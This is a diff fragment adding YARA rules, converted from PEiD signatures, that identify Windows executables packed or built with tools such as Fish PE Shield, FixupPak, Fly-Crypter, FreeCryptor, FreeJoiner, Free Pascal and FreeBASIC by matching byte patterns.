+        ep_only = "false"
+    strings:
+        $a = {46 69 6C 65 20 41 6E 61 6C 79 7A 65 72 20 43 6F 6D 70 69 6C 65 64 20 44 61 74 61 66 69 6C 65 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00709_File_Analyzer_Extended_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Extended Datafile Version]"
+        ep_only = "false"
+    strings:
+        $a = {23 03 45 58 54 44 ?? ?? 3A 03}
+    condition:
+        $a
+}
+
+rule PEiD_00710_File_Analyzer_Registration_file_v1_0_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 4D 2D ?? ?? ?? ?? 31}
+    condition:
+        $a
+}
+
+rule PEiD_00711_File_Analyzer_Registration_file_v1_1_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 45 4E 43 3D ?? 26 26 52 45 47 3D ?? 26 26 45 58 50 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00712_FileShield_
+{
+    meta:
+        description = "[FileShield]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E EB ?? 90 00 00 8B D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00713_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89}
+    condition:
+        $a
+}
+
+rule PEiD_00714_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14}
+    condition:
+        $a
+}
+
+rule PEiD_00715_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00716_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00717_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC}
+    condition:
+        $a
+}
+
+rule PEiD_00718_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B}
+    condition:
+        $a
+}
+
+rule PEiD_00719_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00720_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00721_Fish_PE_Shield_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00722_FishPE_V1_0X____hellfish___Sign_by_fly_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00723_FishPE_V1_0X____hellfish_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00724_FixupPak_1_20_
+{
+    meta:
+        description = "[FixupPak 1.20]"
+        ep_only = "false"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+    condition:
+        $a
+}
+
+rule PEiD_00725_FixupPak_v1_20_
+{
+    meta:
+        description = "[FixupPak v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 AC 0F B6 C0 03 D8 29 13 E2 FA EB BC 8D 85 ?? ?? 00 00 5D FF E0 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00726_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "false"
+    strings:
+        $a = {53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3}
+    condition:
+        $a
+}
+rule PEiD_00727_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00728_Free_Pascal_0_99_10_
+{
+    meta:
+        description = "[Free Pascal 0.99.10]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a
+}
+
+rule PEiD_00729_Free_Pascal_1_06_
+{
+    meta:
+        description = "[Free Pascal 1.06]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00730_Free_Pascal_v0_99_10_
+{
+    meta:
+        description = "[Free Pascal v0.99.10]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00731_Free_Pascal_v1_0_10__win32_console__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 console)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC}
+    condition:
+        $a
+}
+
+rule PEiD_00732_Free_Pascal_v1_0_10__win32_GUI__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 GUI)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5}
+    condition:
+        $a
+}
+
+rule PEiD_00733_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_00734_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00735_FreeBASIC_v0_11_
+{
+    meta:
+        description = "[FreeBASIC v0.11]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00736_FreeCryptor_0_1__build_001____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 001)-> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+rule PEiD_00737_FreeCryptor_0_1__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+
+rule PEiD_00738_FreeCryptor_0_2__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.2 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+    condition:
+        $a
+}
+
+rule PEiD_00739_FreeJoiner_1_5_1____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.1 -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00740_FreeJoiner_1_5_2__Stub_engine_1_6_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.2 (Stub engine 1.6) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00741_FreeJoiner_1_5_3__Stub_engine_1_7_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00742_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {86 D6 90 86 F2 B9 93 60 08 FE 90 86 D6 90 86 F2 B9 9D 13 45 01 86 D6 90 86 F2 81 C2 93 60 08 FE 33 C9 B9 30 74 4D FF 86 D6 90 86 F2 33 C9 C7 05 B4 17 40 00 00 00 00 00 90 68 00 01 00 00 68 D1 17 40 00 6A 00 E8 CE 02 00 00 90 33 C9 86 D6 90 86 F2 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 D1 17 40 00 E8 9E 02 00 00 A3 CD 17 40 00 86 D6}
+    condition:
+        $a
+}
+
+rule PEiD_00743_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00744_FreeJoiner_Small__build_014_020_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014-020) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00745_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 68 00 01 00 00 68 F8 13 40 00 6A 00 E8 F3 01 00 00 8A C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 F8 13 40 00 E8 C9 01 00 00 A3 E0 13 40 00 40 0F 84 8B 01 00 00 90 90 90 90 90 6A 02 6A 00 6A FB FF 35 E0 13 40 00 E8 D1 01 00 00 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 E0 13 40 00 E8 B2 01 00 00 8A C0 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+
+rule PEiD_00746_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E FE FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00747_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 86 DB 86 FF 68 00 01 00 00 68 18 20 40 00 6A 00 E8 FF 01 00 00 8A E4 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 18 20 40 00 E8 D5 01 00 00 A3 00 20 40 00 40 0F 84 97 01 00 00 8A E4 6A 02 6A 00 6A FB FF 35 00 20 40 00 E8 E0 01 00 00 86 FF 86 DB 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 00 20 40 00 E8 BD 01 00 00 8A E4 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+
+rule PEiD_00748_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00749_FreeJoiner_Small__build_023_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 023) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00750_FreeJoiner_Small__build_029_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 029) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00751_FreeJoiner_Small__build_031_032_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 031/032) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00752_FreeJoiner_Small__build_033_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 033) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00753_FreeJoiner_Small__build_035_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 035) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00754_FreePascal_1_0_4_Win32_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00755_FreePascal_1_0_4_Win32_DLL_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_00756_FreePascal_2_0_0_Win32_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a
+}
+
